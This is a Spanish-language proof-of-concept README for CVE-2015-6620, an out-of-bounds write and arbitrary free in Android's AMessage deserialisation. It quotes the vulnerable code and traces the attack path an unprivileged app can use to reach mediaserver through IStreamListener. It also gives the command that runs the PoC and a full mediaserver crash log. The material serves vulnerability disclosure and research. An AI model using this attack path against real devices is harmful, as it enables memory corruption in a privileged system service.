
POC para CVE-2015-6620, escritura arbitraria en unmarshal de AMessage
POC para un bug en CVE-2015-6620-1 (ANDROIDID-24123723), escritura arbitraria al deserializar AMessage. Los dos bugs están fusionados en un solo CVE, y aquí está el POC para uno de ellos.
##Explicación
533 sp<AMessage> AMessage::FromParcel(const Parcel &parcel) {
534 int32_t what = parcel.readInt32();
535 sp<AMessage> msg = new AMessage(what);
536
537 msg->mNumItems = static_cast<size_t>(parcel.readInt32()); //mNumItems can be set by attacker
538 for (size_t i = 0; i < msg->mNumItems; ++i) {
539 Item *item = &msg->mItems[i];
540
541 const char *name = parcel.readCString();
542 item->setName(name, strlen(name));
543 item->mType = static_cast<Type>(parcel.readInt32());
544
545 switch (item->mType) {
547 {
548 item->u.int32Value = parcel.readInt32();//overwrite out-of-bound
549 break;
550 }
...
65 void AMessage::clear() {
66 for (size_t i = 0; i < mNumItems; ++i) {
67 Item *item = &mItems[i];
68 delete[] item->mName; //maybe freeing the wrong pointer if i ran out-of-bound
69 item->mName = NULL;
70 freeItemValue(item);
71 }
72 mNumItems = 0;
73}
El array msg->mItems es un array de tamaño fijo kMaxNumItems=64; sin embargo, cuando AMessage se deserializa, el contador del bucle puede establecerse mucho más allá de este límite, lo que conduce a una sobrescritura de memoria o a una liberación arbitraria, y posteriormente a la corrupción de memoria.
Luego necesitamos encontrar una interfaz binder que deserialice el AMessage y que pueda ser llamada por una aplicación sin privilegios. Buscando, encontré que IStreamListener->issueCommand es un callback que acepta transacciones de clientes normales y luego se procesa en el lado de mediaserver. Y construirá un AMessage a partir del parcel de entrada.
Para obtener un IStreamListener, una forma es crear un BnStreamSource y proporcionárselo a MediaPlayer->setDataSource; luego, al reproducir, MediaPlayer llamará al método setListener de tu implementación de BnStreamSource, proporcionando al cliente un IStreamListener y comunicando los parámetros de control a través de AMessage. Así que, aquí proporcionamos nuestro AMessage falso. ¡Boom!
##Método de prueba:
Compila el POC con el nombre stream y luego ejecútalo con adb shell stream ts-file-name. Usé un archivo de medios TS para activar el callback del binder por simplicidad, pero debería haber mejores opciones.
##Crash de ejemplo:
F/libc (17405): Fatal signal 11 (SIGSEGV), code 1, fault addr 0xdfe85000 in tid 17511 (streaming)
I/DEBUG ( 355): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
I/DEBUG ( 355): Build fingerprint: 'google/shamu/shamu:5.1.1/LMY48I/2074855:user/release-keys'
I/DEBUG ( 355): Revision: '33696'
I/DEBUG ( 355): ABI: 'arm'
W/NativeCrashListener( 839): Couldn't find ProcessRecord for pid 17405
I/DEBUG ( 355): pid: 17405, tid: 17511, name: streaming >>> /system/bin/mediaserver <<<
E/DEBUG ( 355): AM write failure (32 / Broken pipe)
I/DEBUG ( 355): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0xdfe85000
I/DEBUG ( 355): r0 29685000 r1 d6d5d4d9 r2 b6802e74 r3 fff29685
I/DEBUG ( 355): r4 b6800000 r5 000003df r6 b6802e8c r7 c81fff19
I/DEBUG ( 355): r8 b6be24b8 r9 000003e2 sl b380bbac fp b6e65fd8
I/DEBUG ( 355): ip 0000000c sp b380bac0 lr b6e31b3d pc b6e31af6 cpsr 200f0030
I/DEBUG ( 355):
I/DEBUG ( 355): backtrace:
I/DEBUG ( 355): #00 pc 00041af6 /system/lib/libc.so (je_arena_dalloc_bin+41)
I/DEBUG ( 355): #01 pc 00041b39 /system/lib/libc.so (je_arena_dalloc_small+28)
I/DEBUG ( 355): #02 pc 000498b3 /system/lib/libc.so (ifree+462)
I/DEBUG ( 355): #03 pc 00012caf /system/lib/libc.so (free+10)
I/DEBUG ( 355): #04 pc 0000c943 /system/lib/libstagefright_foundation.so (android::AMessage::clear()+24)
I/DEBUG ( 355): #05 pc 0000c973 /system/lib/libstagefright_foundation.so (android::AMessage::~AMessage()+18)
I/DEBUG ( 355): #06 pc 0000c98d /system/lib/libstagefright_foundation.so (android::AMessage::~AMessage()+4)
I/DEBUG ( 355): #07 pc 0000ec55 /system/lib/libutils.so (android::RefBase::decStrong(void const*) const+40)
I/DEBUG ( 355): #08 pc 0003a679 /system/lib/libmediaplayerservice.so (android::sp<android::SharedLibrary>::~sp()+10)
I/DEBUG ( 355): #09 pc 0005bbeb /system/lib/libmediaplayerservice.so
I/DEBUG ( 355): #10 pc 0005be71 /system/lib/libmediaplayerservice.so (android::NuPlayer::NuPlayerStreamListener::read(void*, unsigned int, android::sp<android::AMessage>*)+216)
I/DEBUG ( 355): #11 pc 000580fb /system/lib/libmediaplayerservice.so (android::NuPlayer::StreamingSource::onReadBuffer()+50)
I/DEBUG ( 355): #12 pc 00058271 /system/lib/libmediaplayerservice.so (android::NuPlayer::StreamingSource::onMessageReceived(android::sp<android::AMessage> const&)+20)
I/DEBUG ( 355): #13 pc 0000c4c3 /system/lib/libstagefright_foundation.so (android::ALooperRoster::deliverMessage(android::sp<android::AMessage> const&)+166)
I/DEBUG ( 355): #14 pc 0000be45 /system/lib/libstagefright_foundation.so (android::ALooper::loop()+220)
I/DEBUG ( 355): #15 pc 000104d5 /system/lib/libutils.so (android::Thread::_threadLoop(void*)+112)
I/DEBUG ( 355): #16 pc 00010045 /system/lib/libutils.so
I/DEBUG ( 355): #17 pc 00016baf /system/lib/libc.so (__pthread_start(void*)+30)
I/DEBUG ( 355): #18 pc 00014af3 /system/lib/libc.so (__start_thread+6)
I/DEBUG ( 355):
I/DEBUG ( 355): Tombstone written to: /data/tombstones/tombstone_04